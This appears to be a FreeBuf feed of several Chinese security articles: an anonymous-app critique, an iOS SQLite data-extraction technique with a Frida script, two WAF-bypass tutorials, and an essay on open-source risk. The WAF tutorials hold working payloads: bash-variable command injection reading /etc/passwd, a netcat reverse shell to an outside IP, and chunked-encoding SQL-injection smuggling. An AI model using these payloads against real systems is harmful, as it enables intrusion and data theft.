王欣在微博上是这么解读马桶MT的的:人与人之间的弱连接,是被严重低估的一种人脉,这些不稳固的人脉、弱连接构成了“人脉暗网”,它有更大的空间和自由让你表达。

但他显然忽略了一个很重要的点,目前用户对于通讯录的需求有多大,通讯录是否可以成为熟人圈。我翻看了一下自己的手机通讯录,联系人只剩下不到50个,而且大部分是很久很久没有发过短信或者电话了,连号码是否为空号都不可知,因为现在基本所有的社交关系都留在了微信、QQ上,甚至连父母开始使用微信之后,就更少打开通讯录了。

123.jpg

在马桶“话题”页面,你刷到的动态虽然发布者都是以匿名状态标示,但都用“你认识的人”和“你附近的人”区分开。我举个简单的例子,假如我在马桶MT上发布一条动态吐槽老板太抠门,这条动态恰好被老板刷到了,通讯录恰好只有我一个人(这是一种极限情况),那我第二天基本可以去公司卷铺盖走人了。

这个所谓“人脉暗网”究竟匿名到什么程度?匿名的名字以及1个小时的时效性,又能起到多大效果?本身就是基于通讯录和附近的人,为了不让其他人容易猜出我的真实身份,最好还需要小心一点发布的内容不要包含太多的信息点,那最好的方式是不发,换句话说,所谓的“人脉暗网”,马桶MT还做不到,或者说没人敢去碰这一块

触及灰色地带,这样的马桶可能成为快播第二

另外,对于王欣自称的这个“人脉暗网”,反倒充满了诱惑性。第一次看到的人,会以为在马桶MT上,可以发布一些“吐槽”、“小秘密”、“告白”甚至是敏感内容而不被人发现。

WX20190116-175420@2x.png

在马桶MT的官网宣传页,其中一条动态是“林小如现在脱单了吗?”并配上了一个动图。我想“林小如”可能并不想自己的这种话题或者照片在这样的圈子里被讨论着。

WX20190117-132529@2x.png

所以有类似这样的引导,马桶MT几乎已经走在了触红线的边缘。一个最致命的问题就是,马桶MT的话题圈貌似并没有设置审核制度,发布内容涉及敏感内容或者他人隐私,这样的圈子是存活不了多久的。

aeeb4f66ly1fz6i6km5l2j20v81ohn3x副本.jpg截图来自网络

那究竟什么样的群体会第一时间涌向马桶MT,一是那些王欣的支持者,当初给快播充会员的那群;二是跟我一样好奇的人;还有一群黑灰产、广告发布者以及开辟新的YP平台的人。很显然,马桶MT已经有这样的苗头了。

有些秘密,只想说给树洞听。无秘已经倒下,匿名社交在国内的情况不容乐观,游走于红线边缘,一招不慎马桶MT很可能成为第二快播。

*本文作者:Allen别bb,谨代表作者个人观点,不表示FreeBuf支持该立场。

原文阅读

iOS取证技巧:在无损的情况下完整导出SQLite数据库
secist 2019-1-17 5:0 转存

上一篇文章中,我向大家介绍了有关利用iOS DeveloperImage中一些特性的方法,其中包括在已越狱设备上启动带有自定义环境变量的App。说实话,我的最初动机是为了寻找沙箱逻辑问题,但失败了。值得庆幸的是我发现了另一个非常实用的技巧,即通过利用其中的一些特性来提取SQLite数据库。该方案需要屏幕解锁和可信USB连接。

为了运行完整的实验,你需要安装以下工具:

https://github.com/libimobiledevice/libimobiledevice

https://github.com/libimobiledevice/ideviceinstaller

https://github.com/emonti/afcclient(可选。如果你不想自己编写libimobiledevice的代码,就用这个)

SQLite日志记录

iOS上当前内置的SQLite支持调试选项:如果设置了SQLITE_SQLLOG_DIR环境,则每个数据库在给定目录中都会有一个副本,且sql查询为纯文本形式。

sqlite文档:https://www.sqlite.org/src/doc/trunk/src/test_sqllog.c

我们的实验从一个越狱设备开始。只需启动带有SQLITE_SQLLOG_DIR的Gmail应用程序,指向它有权写入的位置:

iOS取证技巧:在无损的情况下完整导出 SQLite数据库

修改上一篇文章中的脚本,向环境添加一个新密钥:

const env = ObjC.classes.NSMutableDictionary.alloc().init();
env.setObject_forKey_(
  ObjC.classes.NSString.stringWithString_('/private/var/mobile/Containers/Data/Application/{THE_ACTUAL_UUID_ON_YOUR_DEVICE}/tmp'),
  ObjC.classes.NSString.stringWithString_('SQLITE_SQLLOG_DIR'));

以下是为目录生成的内容:

hello:/private/var/mobile/Containers/Data/Application/.../tmp root# ls
WebKit      sqllog_05860_00000.sql  sqllog_05860_00003.sql  sqllog_05860_01.db
sqllog_05860.idx    sqllog_05860_00001.sql  sqllog_05860_00004.sql  sqllog_05860_02.db
sqllog_05860_00.db  sqllog_05860_00002.sql  sqllog_05860_00005.sql  sqllog_05860_03.db

文件名中的05860是pid,格式化为固定的5位数。idx文件是原始数据库的映射索引。

root# cat sqllog_05860.idx
0 /private/var/mobile/Containers/Shared/AppGroup/21805C48-3DD1-4973-BDB8-F26441BE74B3/GIPPhenotype/phenotype.db
1 /var/mobile/Containers/Data/Application/E89CEF28-30BA-41F8-BDB3-BD05E0598D32/Library/Application Support/data/johnsmith@outlook.com/sqlitedb
2 /var/mobile/Containers/Data/Application/E89CEF28-30BA-41F8-BDB3-BD05E0598D32/Library/Application Support/data/johnsmith@outlook.com/imapsqlitedb
3 /private/var/mobile/Containers/Data/Application/E89CEF28-30BA-41F8-BDB3-BD05E0598D32/Library/Caches/com.google.Gmail/Cache.d

例如,所有 /var/mobile/Containers/Data/Application/E89CEF28–30BA-41F8-BDB3-BD05E0598D32/Library/Application Support/data/johnsmith@outlook.com/sqlitedb 的查询被记录在了sqllog_05860_00000.sql文件中。

iOS取证技巧:在无损的情况下完整导出 SQLite数据库

sqllog_05860_00.db是其副本。

iOS取证技巧:在无损的情况下完整导出 SQLite数据库

未越狱设备

现在问题是,iOS上的应用程序被“监禁”在容器中,如果没有完整备份将仍然无法访问这些容器。每个规则都有一个例外,沙箱配置文件也不例外。

某些内置应用程序有写入权限到 /var/mobile/Media/iTunes_Control/iTunes 目录。

iOS取证技巧:在无损的情况下完整导出 SQLite数据库

以及一些应用程序还拥有 com.apple.security.exception.files.absolute-path.read-write 或 com.apple.security.exception.files.home-relative-path.read-write 权限。

你可以通过以下命令读取这些权限。

ideviceinstaller -l -o list_system -o xml

VioceMemo:

<key>com.apple.security.exception.files.absolute-path.read-write</key>
<array>
    <string>/private/var/mobile/Media/Recordings/</string>
</array>
<key>platform-application</key>
<true/>

MobileSafari:

<key>com.apple.security.exception.files.home-relative-path.read-write</key>
   <array>
    <string>/Library/com.apple.itunesstored/</string>
    <string>/Library/com.apple.iTunesCloud/</string>
    <string>/Library/Caches/com.apple.Music/</string>
    <string>/Library/Cookies/</string>
    <string>/Media/</string>
    <string>/Library/Caches/com.apple.Radio/</string>
    <string>/Library/Caches/com.apple.iTunesStore/</string>
    <string>/Library/Caches/sharedCaches/com.apple.Radio.RadioImageCache/</string>
    <string>/Library/Caches/sharedCaches/com.apple.Radio.RadioRequestURLCache/</string>
    <string>/Library/com.apple.MediaSocial/</string>
    <string>/Library/DeviceRegistry/</string>
    <string>/Library/Logs/MediaServices/</string>
   </array>

iOS允许在 /var/mobile/Media 中进行沙箱文件访问。许多第三方iPhone管理工具允许你直接操作此位置,甚至还会提供一个GUI界面。

➜  afcclient git:(master) ✗ ./afcclient mkdir Downloads/SQLite

另一个可读的位置是CrashReporter。你可以使用idevicecrashreport获取文件。

iOS取证技巧:在无损的情况下完整导出 SQLite数据库

但需要提醒大家的是,并非所有内置的应用程序都有这些例外,更别说是那些第三方应用了。

Demo

在测试期间启动Instruments,并使用上一篇文章中的frida脚本将bundle ID更改为目标。

/*
run Instruments.app, then
frida Instruments -l msg.js
*/
function getDevice() {
  const devices = ObjC.classes.XRDeviceDiscovery.availableDevices();
  const count = devices.count().valueOf();
  for (var i = 0; i < count; i++) {
    var device = devices.objectAtIndex_(i);
    if (device.platformName().toString() === 'iPhoneOS' && device.connection()) {
      return device;
    }
  }
  throw new Error('unable to find device');
}

const newMsgFunc = ObjC.classes.DTXMessage['+ messageWithSelector:objectArguments:'].implementation;
const newMsg = new NativeFunction(newMsgFunc, 'pointer',
  ['pointer', 'pointer', 'pointer', '...', 'pointer', 'pointer', 'pointer', 'pointer', 'pointer', 'pointer']);

const opt = ObjC.classes.NSMutableDictionary.alloc().init();
opt.setObject_forKey_(0, ObjC.classes.NSString.stringWithString_('StartSuspendedKey')); // required

const args = ObjC.classes.NSMutableArray.alloc().init();
args.addObject_(ObjC.classes.NSString.stringWithString_('--if-you-need-some-thing')); // argv

const env = ObjC.classes.NSMutableDictionary.alloc().init();
env.setObject_forKey_(
  ObjC.classes.NSString.stringWithString_('3'),
  ObjC.classes.NSString.stringWithString_('CFNETWORK_DIAGNOSTICS')); // environment variables

const msg = new ObjC.Object(newMsg(
  ObjC.classes.DTXMessage,
  ObjC.selector('+ messageWithSelector:objectArguments:'),
  ObjC.selector('launchSuspendedProcessWithDevicePath:bundleIdentifier:environment:arguments:options:'),

  ObjC.classes.NSString.stringWithString_('this makes no sense'), // path, SpringBoard simply ignores it
  ObjC.classes.NSString.stringWithString_('com.apple.calculator'), // bundle id, must be already installed
  ObjC.classes.NSDictionary.dictionaryWithDictionary_(env),
  args.copy(),
  ObjC.classes.NSDictionary.dictionaryWithDictionary_(opt),
  NULL
))

const channel = getDevice().connection().makeChannelWithIdentifier_(
  'com.apple.instruments.server.services.processcontrol.feature.deviceio') // channel id

channel.sendControlSync_replyHandler_(msg, new ObjC.Block({
  retType: 'void',
  argTypes: ['object', 'pointer'],
  implementation: function(reply, len) {
    console.log('reply', reply.payloadObject())
  }
}))

com.apple.mobilesafari

这里有Safari浏览器状态,书签,历史记录,每个站点首选项,HTML5本地存储甚至缓存。请注意,通常Cache.db不会包含在备份中,并且它是以纯文本格式存储http请求的。

➜  afcclient git:(master) ✗ ./afcclient mkdir iTunes_Control/iTunes/safari
Created directory: iTunes_Control/iTunes/safari
➜  afcclient git:(master) ✗ ./afcclient cat iTunes_Control/iTunes/safari/sqllog_02343.idx
0 /private/var/mobile/Containers/Data/Application/9210B36C-89E2-4728-9831-40CAA961C15E/Library/Image Cache/Favicons/Favicons.db
1 /var/mobile/Containers/Data/Application/9210B36C-89E2-4728-9831-40CAA961C15E/Library/Safari/BrowserState.db
2 /private/var/mobile/Containers/Data/Application/9210B36C-89E2-4728-9831-40CAA961C15E/Library/Image Cache/Touch Icons/TouchIconCacheSettings.db
3 /private/var/mobile/Containers/Data/Application/9210B36C-89E2-4728-9831-40CAA961C15E/Library/Image Cache/Password Icons/TouchIconCacheSettings.db
4 /var/mobile/Library/Safari/Bookmarks.db
5 /private/var/mobile/Containers/Data/Application/9210B36C-89E2-4728-9831-40CAA961C15E/Library/Safari/History.db
6 /var/mobile/Containers/Data/Application/9210B36C-89E2-4728-9831-40CAA961C15E/Library/WebKit/WebsiteData/LocalStorage/https_mobile.twitter.com_0.localstorage
7 /private/var/mobile/Containers/Data/Application/9210B36C-89E2-4728-9831-40CAA961C15E/Library/Safari/PerSitePreferences.db
8 /private/var/mobile/Containers/Data/Application/9210B36C-89E2-4728-9831-40CAA961C15E/Library/Caches/com.apple.mobilesafari/Cache.db

com.apple.mobilemail

➜  afcclient git:(master) ✗ ./afcclient cat Mail/sqllog_04465.idx
0 /var/mobile/Library/Mail/Envelope Index
1 /var/mobile/Library/Mail/Protected Index
2 /var/mobile/Library/DeviceRegistry/5CFB9E7E-C465-4A92-B3ED-C744367AB766/NanoMail/registry.sqlite
3 /var/mobile/Library/AddressBook/AddressBook.sqlitedb

com.apple.mobilephone

地址簿和通话记录:

hello:~ root# procexp all fds | grep -i sms.db
IMDPersistenceA    812 FD  4u  /private/var/mobile/Library/SMS/sms.db @0x0
IMDPersistenceA    812 FD  5u  /private/var/mobile/Library/SMS/sms.db-wal @0x0
IMDPersistenceA    812 FD  6u  /private/var/mobile/Library/SMS/sms.db-shm @0x0
hello:~ root# ps aux | grep 812
mobile           812   0.0  0.0  1664672   1296   ??  Ss   22Oct18   0:01.77 /System/Library/PrivateFrameworks/IMDPersistence.framework/XPCServices/IMDPersistenceAgent.xpc/IMDPersistenceAgent
root            6008   0.0  0.1  1593504   1536 s000  S+    2:50PM   0:00.01 grep 812
hello:~ root#
➜  afcclient git:(master) ✗ ./afcclient mkdir iTunes_Control/iTunes/Phone
Created directory: iTunes_Control/iTunes/Phone
➜  afcclient git:(master) ✗./afcclient cat iTunes_Control/iTunes/Phone/sqllog_04322.idx
0 /var/mobile///Library/CallHistoryDB/CallHistory.storedata
1 /var/mobile///Library/CallHistoryDB/CallHistoryTemp.storedata
2 /var/mobile/Library/AddressBook/AddressBook.sqlitedb

但你无法提取sms.db,因为它属于xpc服务IMDPersistenceAgent。消息应用com.apple.MobileSMS通过XPC与其通信,而不是打开数据库。

*参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

原文阅读

Web应用程序防火墙(WAF)bypass技术(三)
生如夏花 2019-1-17 2:0 转存

本文探讨了如何使用未初始化的bash变量来绕过基于正则表达式过滤器和模式匹配的WAF,现在让我们看看它如何在CloudFlare WAF和ModSecurity OWASP CRS3上完成的。

前文回顾

Web应用程序防火墙(WAF)bypass技术(一)

Web应用程序防火墙(WAF)bypass技术(二)

未初始化的变量

在本文中,我将展示一种使用未初始化的bash变量的技术,来绕过基于正则表达式的过滤器和模式匹配。

echo "uninitialized_variable=$uninitialized_variable"

未初始化的变量具有null值(根本没有值)。

uninitialized_variable=

如上所述,声明后但不初始化它与将其设置为空值相同。

默认情况下,bash会像Perl那样处理未初始化的变量,把它们当做空字符串,它们可以在参数内使用,甚至可以执行与未初始化变量连接的命令。让我们从一个例子开始吧。

Web应用程序防火墙(WAF)bypass技术

假设我们要执行命令cat /etc/passwd,我们可以使用以下语法:cat$u /etc$u/passwd$u

其中$u不存在,并且被bash视为空字符串:

Web应用程序防火墙(WAF)bypass技术

这可用于绕过WAF的规则,让我们使用CloudFlare WAF和ModSecurity OWASP核心规则集3.1进行一些测试。

CloudFlare WAF (专业配置)

和前两篇文章一样,我将在一个非常简单的PHP脚本上测试这种bypass技术,这个脚本绝对容易受到影响而且远离现实场景(我希望如此)。通过这个测试来评估像CloudFlare那样的优质服务是愚蠢的。这只是一种在“真实”场景中更好地解释这种技术的方法,这并不意味着 CloudFlare WAF比其他人更安全或更不安全。它只是展示为什么需要知道自己写的代码是如何易受攻击以及开发者可以采取哪些措施来修复它或开发自定义规则(而且,在之前的文章中,我是使用Sucuri进行此类测试…但本文改变了测试目标)。

我所做的是启用所有CloudFlare WAF规则并将安全级别配置为高(似乎所有都基于OWASP CRS 2 ……)。

简单的PHP脚本:

<?php
        if(isset($_GET['host'])) {
                system('dig '.$_GET['host']);
        }
?>

这个非常简单的PHP脚本用dig解析GET参数上host的给定主机名,例如/?host=www.google.com

响应是:

Web应用程序防火墙(WAF)bypass技术

显然,仅仅通过在主机名后面加一个分号并启动一个新命令就容易受到RCE的攻击,例如:/?host=www.google.com;ls+/

Web应用程序防火墙(WAF)bypass技术但是如果我尝试通过执行cat /etc/passwd来读取/etc/passwd文件呢?让我们尝试:/?host=www.google.com;cat+/etc/passwd

Web应用程序防火墙(WAF)bypass技术

我被阻止了,这很好!现在我可以尝试将未初始化的变量放置在/etc/passwd来绕过整个规则集,例如:/?host=www.google.com;cat$u+/etc$u/passwd$u,其中$u是我定义的空字符串。

Web应用程序防火墙(WAF)bypass技术

正如在上面的屏幕截图中看到的,我的请求已通过,并且/etc/passwd文件已泄露。不是很酷吗?┌(◉͜ʖ◉)つ┣▇▇▇═──

CloudFlare有一些特定的规则来防止netcat使用来获得反弹shell。所以,我决定试图绕过CloudFlare WAF规则集获得反弹shell。在这种情况下,我只是将CloudFlare Specials类别所有规则设置为“block”。

Web应用程序防火墙(WAF)bypass技术Web应用程序防火墙(WAF)bypass技术Web应用程序防火墙(WAF)bypass技术首先尝试在端口1337上使用参数-e /bin/bash执行netcat到我的IP。

Web应用程序防火墙(WAF)bypass技术

好消息:CloudFlare阻止了我的请求。现在我想尝试执行相同的命令,在nc参数/bin/bash之后和之内添加一些未初始化的bash变量,如:

nc$u -e /bin$u/bash$u 1.2.3.4 1337

直接绕过了,获得了shell。

Web应用程序防火墙(WAF)bypass技术

ModSecurity OWASP CRS3.1

使用CRS3.1后所有bypass技术将变得更难,特别是将防护等级提高到3(CRS3上有4个防护等级,但第四个是完全不可能绕过的),这就是我喜欢CRS3的众多原因之一!

与CloudFlare上发生的情况不同,在Paranoia Level 3上配置CRS3.1,我的第一个测试被规则932100 “Unix命令注入” 阻止:

Web应用程序防火墙(WAF)bypass技术

我该怎么做才能绕过这条规则?我知道;<command>被阻止了,但是payload;<space><uninitialized var><command>可能会通过……所以我想试试:

?host=www.google.it;+$u+cat+/etc/passwd

Web应用程序防火墙(WAF)bypass技术太好了!我绕过了规则932100,但由于参数主机中的etc/passwd字符串导致我的请求被阻止了。我能做的是在etc/passwd路径中添加更多未初始化的变量,如:

?host=www.google.it;+$u+cat+/etc$u/passwd$u

Web应用程序防火墙(WAF)bypass技术

与我对CloudFlare WAF的测试不同,使用具有防护等级3的CRS3.1绕过它更难,并且在PHP脚本中通过$_GET['host']包含双引号后要绕过的话则变得非常不可能。不过还是试一试吧:

<?php
        if(isset($_GET['host'])) {
                system('dig "'.$_GET['host'].'"');
        }
?>

现在,为了注入命令,分号是不够的……我需要处理双引号并注释掉最后的双引号。例如:

/?host=www.google.it";cat+/etc/passwd+#

我知道你在想什么:“现在有双引号,分号,包含变量的RCE有效payload和注释字符,CloudFlare会阻止它”……然而事实是并未阻止。

Web应用程序防火墙(WAF)bypass技术

与CloudFlare不同,在OWASP CRS3上,由于两条规则,我无法绕过防护等级3的规则集:

* 942460 元字符异常检测警报 – 重复非字字符:由于“,;,/和$字符,它阻止了我的请求。

* 942260 检测到数量达到2/3的基本SQL身份验证绕过:我被此规则阻止了才尝试使用较少的特殊字符。

将防护水平降低到2,就很有效:/?host=www.google.it“;+$u+cat+/etc$u/passwd+\#

结论

为什么阻止这种请求如此困难?为什么WAF通常不会阻止参数值中的美元字符?因为它会容易出现许多误报。恕我直言,最好的方法是CRS3使用的方法,只有在单个值中找到4个或更多重复的非单词字符时才会阻止,这比阻止特定字符更聪明,误报率更低。

感谢阅读!

*参考来源:secjuice,生如夏花编译,转载请注明来自 FreeBuf.COM

原文阅读

敏捷开发模式下金融机构开源软件引入风险及管控举措
haiczh 2019-1-17 2:0 转存

*本文原创作者:haiczh,本文属于FreeBuf原创奖励计划,未经许可禁止转载

一、背景

随着电子商务在我国的蓬勃发展,互联网企业积累了海量的用户数据,逐渐掌握了用户金融服务的需求和偏好,并将其提供的金融服务由最初的简单支付渗透转账汇款,小额贷款,现金管理,资产管理、供应链金融、代销基金和保险等传统商业银行的业务领域 [1]。这就不可避免的与商业银行在市场占有,客户规模,利润空间等多领域构成竞争。

为了更好的提升客户服务质量,传统商业银行近年来在服务方式,支付方式,平台模式,服务渠道等积极拥抱互联网,加快加速转变,合理的把传统的金融构架与互联网的组织构架进行有机的融合,建立了一个互联网金融商业银行专属的战略系统,形了商业银行自己独特的互联网架构 [2],并在大数据,云计算,人工智能领域大胆尝试和创新。而大多数现代智能技术多以开源架构为蓝本,在银行业金融机构这一重要而又相对封闭的行业中大量引入开源软件,使用开源技术,必然会引入新的风险点。对开源架构、技术及其工作特性的不了解,不正确使用而与银行传统网络或系统架构产生冲突造成的安全事件在过去的几年里时有发生。监管机构也多次发出风险预警,要求各银行机构排查开源技术使用情况。

为此,在敏捷开发模式下,如何在快速开发和开发风险控制二者间取得很好的平衡点是摆在商业银行开发者和安全管理部门面前的一道难题。

二、开源软件应用现状

据Gartner调查显示,99%的组织在其IT系统中使用了开源软件,同时开源软件在服务器操作系统、云计算领域、Web领域都有比较广泛的应用。

开源软件市场规模稳居服务器操作系统首位。根据《Linux 内核开发报告2017》显示,全球公有云上运行的负载有90% 是Linux操作系统,在嵌入式市场的占有率是62%,而在超算的市场占有率更是达到了99%。还有,它运行在世界上超过 82% 的智能手机中,也是所有公有云厂商的主要支撑服务器(90%)。

云计算领域开源目前主要以IaaS以及PaaS两个层面为主,IaaS有OpenStack、CloudStack、oVirt、ZStack等,PaaS层面有OpenShift、Rancher、Cloud Foundry以及调度平台Kubernetes、Mesos等。而对于OpenStack的应用,2017《OpenStack User Survey》显示: OpenStack行业应用前四名分别为电信、研究、金融和政府。

2013年Docker发布之后,技术日渐崛起。截至2014年底,容器镜像下载量高达1亿;到2017年初,这一数量超过80亿。

开源软件在Web领域占据主要市场份额。根据 Netcraft《Web Server Survey》调查发现,Nginx市场份额增加到21.4%,较上一年增长3.84%,成为了面向Web的计算机市场上第三大服务器厂商。Apache的市场份额下跌了0.35个百分点,它在面向 Web 的计算机市场的份额达到42.8%。目前,至少有7200万个网站宣称在他们的服务器头部正在使用 Apache 2.2。Apache 已经成为互联网站点最为流行的 Web 服务平台。

开源软件在人工智能领域的应用逐步推广起来。谷歌将TensorFlow 开源,机器人操作系统 ROS 也大多采用开源技术 [3]。

三、开源软件安全现状

整体来讲,开源软件安全现状不容乐观。根据安全公司Snyk发布的开源软件安全现状报告,2012年以来,每年公布的开源软件漏洞都在快速增长,2017年全年同比增幅创下历史新高。

image.png

Snyk 通过扫描了数以百万计的Github代码库和程序包,和对超过500个开源项目的维护者进行调查发现:

只有8%的开源项目维护者自认为有较高的信息安全技术和意识。

接近半数的开源项目维护者从来不审计代码,只有 11% 的维护者能做到每季度审核代码。

开源软件漏洞产生到发现公布的平均时间周期为89 年 75% 的漏洞都没有被项目维护者发现。

5% 的开源项目维护者都没有公开的漏洞公布策略(这直接导致了开源项目极低的漏洞上报率)。

漏洞采纳到公布的最长时间为9年,平均时间为2.5年(这意味着黑客手里拥有大量的0day漏洞)。

漏洞从公布到被修复最长时间为94天,平均时间为16天。[4]

四、开源软件采用风险

不管是直接使用开源技术,还是购买开源技术的商业软件都需要考虑开源技术带来的风险,只不过是规避开源技术风险的责任主体不同。 金融机构在使用或引入开源软件或代码时,除了需要考虑开源或许可证兼容风险、违约或其他法律风险、以及数据安全或隐私风险这些开源软件本身所带来的风险外,还要考虑监管合规风险等行业特定风险。

4.1 开源或许可证兼容风险

开源风险主要包括受开源协议与许可证的影响,有可能会使金融机构强制公开其私有代码或应用。在采用开源软件或代码时,未能充分理解和考查许可涵义,导致按照开源许可证所规范的义务或要求,金融机构将自己的私有软件必须对外公开源代码。

下图为几种开源许可证之间的关系 [5]:

image.png

4.2 违约或其他法律风险

目前各国法律或法院,对于开源软件使用者,在违反开源许可证的义务或要求的情况下,是否构成合同违约,仍未有一致规定或见解。这一风险多半与开源风险同时发生,当金融使用开源软件后,违背许可证规定,不开放其私有软件或代码时,也会构成违约风险,由此也可能会导致知识产权风险,著作权风险等一系列法律风险。

4.3 数据安全或隐私风险

由于开源软件的透明,开放机制,给了黑客或攻击者更多的研究代码漏洞的机会。而开源社区维护者在代码开发过程中,并没有给予安全足够多的重视,导致数据或隐私成为开源软件最大的一块短板,也是金融机构引用开源软件需要重点考虑的安全风险。

开源代码在安全设计上的存在缺陷的重要一个原因是每一个开源使用者都很自然的认为其经过了大多数的测试和审查,而实际上,并没有多少人在使用时测试系统的安全性。心脏出血漏洞、GNTTLS里的“Ghost”漏洞和破壳漏洞都是很好的例证:开源将源代码公布,许多双眼睛宣称将检查它,因而任何可能的不良代码都逃不脱众人之眼。

然而自2012年2月发布之日起,这段有问题的代码就一直暴露在‘众人之眼’前,但没有任何一个人发现它,直到两年之后,漏洞都被利用滥了才忽然醒悟。

4.4 监管合规风险

监管合规风险是金融行业比较特殊的一类风险,如果监管合规风险关把控不严格,出现监管违规,有可能不只是之前的努力付之一炬,可能还会给企业带来更严重的后果,如评分降级,经营受限等等。

例如人民银行明确规定,对于创新技术在支付领域的首次应用,跨境合作,社会关注度较高等重要支付创新项目,必须在系统或项目上线前30日内向人民银行备案。

五、开源软件采用风险控制措施

5.1 建立开源软件采用管理机制

商业银行应建立属于自己的开源软件管理机制,无论是与更新现有的软件管理机制,还是单独建立开源软件管理机制,都需要对现有的ISMS管理进行丰富和修正,实现开源软件引入和使用的标准化、规范化和合规化。可参考以下框架设计:

image.png

开源软件管理规定中明显商业银行哪一类系统可以使用开源软件,并明确采用开源软件后,应按照软件全生命周期进行跟踪和管理。

在三级文档中明确开源软件管理规定中具体的每一个阶段应该做什么的问题。以开源软件引入为例,在引入管理办法中应明确开源软件引入时要进行开源项目评价,并明确可以引入的标准,对于达不到标准的开源项目拒绝引入。从而在引入阶段把控风险。同时还需要指出在技术层面要进行代码的安全性和可靠性测试等内容。

在四级文档中规定具体的做和操作手册,保证管理办法中的要求可以得到正确的执行。如开源项目评估,操作手册中应明确规定评估的内容和方法,包括但不限于开源协议理解,版权及法律风险评估,开源项目活跃度评价[1],开源项目成熟度评估[2]等内容。

5.2 建立商业银行代码安全需求库

开源软件经过严格的审核和评价机制被引入后,开发团队一般需要对进行基于业务需求的开发和测试。这一过程,是系统安全性弹性变化最大的阶段,建立商业银行代码安全需求库,可以很好的保证开发的软件在安全需求上的满足。商业银行可以根据自己的业务场景来制定自己的安全需求库,例如系统登录中的身份认证,安全需求可设计如下:

image.png

5.3 引入第三方机构进行安全评估

任何系统的上线前评估是金融行业信息系统监管评估的红线,不容侵犯。而对于基于开源软件开发的系统进行安全评估时,商业银行的技术能力很难达到,建议与第三方安全公司合作,来进行评估,必要时,可以进行软件代码成分分析[3]和代码审计这样更细粒度的评估。甚至可以对软件的网络报文,流量组成等进行跟踪与测试,以评估与现有网络设备、系统架构的兼容性。

参考文献

[1]降磊,“互联网金融时代的商业银行发展模式研究”,《西南交通大学》, 2013。

[2]张庆,“互联网金融时代的商业银行发展模式研究”,《现代经济信息》, pp. 55-55,2015。

[3]中国信息通信研究院,“开源治理白皮书” ,2018-04。

[4]snyk, “The State of Open Source Security,” 2017.  https://snyk.io/stateofossecurity/#the-open-source-landscape.

[5]2 5 2011.  http://www.ruanyifeng.com/blog/Cc-By-3.0/.

[6]http://www.qsos.org/ .

[7]http://www.openbrr.org/ .

(1)开源项目活跃度评价可以从开源社区数目,社区活跃程度,如贡献者数量,提交的问题数,外部采用者数量,流行程度,下载量等进行进行评估。

(2)开源项目成熟度评估可以参考国际上比较流行的开源项目评估模型OSMM Capgemini,OSMM Navica,QSOS [5],OpenBRR [6],QualiPso Opensrouce Maturity Mode等,具体内容在此不再展开,感兴趣的读者可以自行查阅。

(3)软件代码成分分析(SCA)技术是指通过对软件的组成进行分析,识别出软件中使用的开源和第三方组件(如底层库、框架等等),从而进一步发现开源安全风险和第三方组件的漏洞。通常,SCA的检测目标可以是源代码、字节码、二进制文件、可执行文件等的一种或几种。

*本文原创作者:haiczh,本文属于FreeBuf原创奖励计划,未经许可禁止转载

原文阅读

技术讨论 | 在HTTP协议层面绕过WAF
bypassword 2019-1-17 1:0 转存

PS:本文仅作技术分析,禁止用于其它非法用途

首先,自我介绍一下。小白一名,2017年才接触Web渗透测试,至于为啥,当然是自己的网站被攻破了……

进入正题,随着安全意思增强,各企业对自己的网站也更加注重安全性。但很多web应用因为老旧,或贪图方便想以最小代价保证应用安全,就只仅仅给服务器安装waf。所以渗透测试过程中经常遇到惹人烦的web应用防火墙,只有突破这第一道防御,接下来的渗透才能顺利进行。本次从协议层面绕过waf实验用sql注入演示,但不限于实际应用时测试sql注入(命令执行,代码执行,文件上传等测试都通用)。

声明:这次实验的思路方法并非自己想出来的,是听了某大牛的公开课总结学习而来。

原理

给服务器发送payload数据包,使得waf无法识别出payload,当apache,tomcat等web容器能正常解析其内容。如图一所示

在HTTP协议层面绕过WAF

图一

实验环境

本机win10+xampp+某狗web应用防火墙最新版。为方便演示,存在sql注入的脚本中使用$_REQUEST["id"]来接收get,或者post提交的数据。waf配置为拦截url和post的and  or 注入,如图二所示。

在HTTP协议层面绕过WAF

图二

发送get请求或利用hackbar插件发送post请求payload均被拦截,如图三。

在HTTP协议层面绕过WAF图三

一·  利用pipline绕过[该方法经测试会被某狗拦截]

原理

http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即我们用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。

1. 关闭burp的Repeater的Content-Length自动更新,如图四所示,点击红圈的Repeater在下拉选项中取消update Content-Length选中。这一步至关重要!!!

在HTTP协议层面绕过WAF

图四

2. burp截获post提交

id=1 and 1=1

,显示被waf拦截如图五所示。

在HTTP协议层面绕过WAF图五

3. 复制图五中的数据包黏贴到

id=1 and 1=1

后面如图六所示。

在HTTP协议层面绕过WAF图六

4. 接着修改第一个数据包的数据部分,即将

id=1+and+1%3D1

修改为正常内容id=1,再将数据包的Content-Length的值设置为修改后的【id=1】的字符长度即4,最后将Connection字段值设为keep-alive。提交后如图七所示,会返回两个响应包,分别对应两个请求。

在HTTP协议层面绕过WAF

图七

注意:从结果看,第一个正常数据包返回了正确内容,第二个包含有效载荷的数据包被某狗waf拦截,说明两数据包都能到达服务器,在面对其他waf时有可能可以绕过。无论如何这仍是一种可学习了解的绕过方法,且可以和接下来的方法进行组合使用绕过。

二.利用分块编码传输绕过[该方法可绕某狗]

原理:

在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。

1. 开启上个实验中已关闭的content-length自动更新。给post请求包加入Transfer-Encoding: chunked后,将数据部分id=1 and 1=1进行分块编码(注意长度值必须为十六进制数),每一块里长度值独占一行,数据占一行如图八所示。

在HTTP协议层面绕过WAF图八

2.将上面图八数据包的

id=1 and 1=1

改为

id=1 and 1=2

 即将图八中所标的第4块的1改为2。如图九所示没有返回数据,payload生效。

在HTTP协议层面绕过WAF

图九

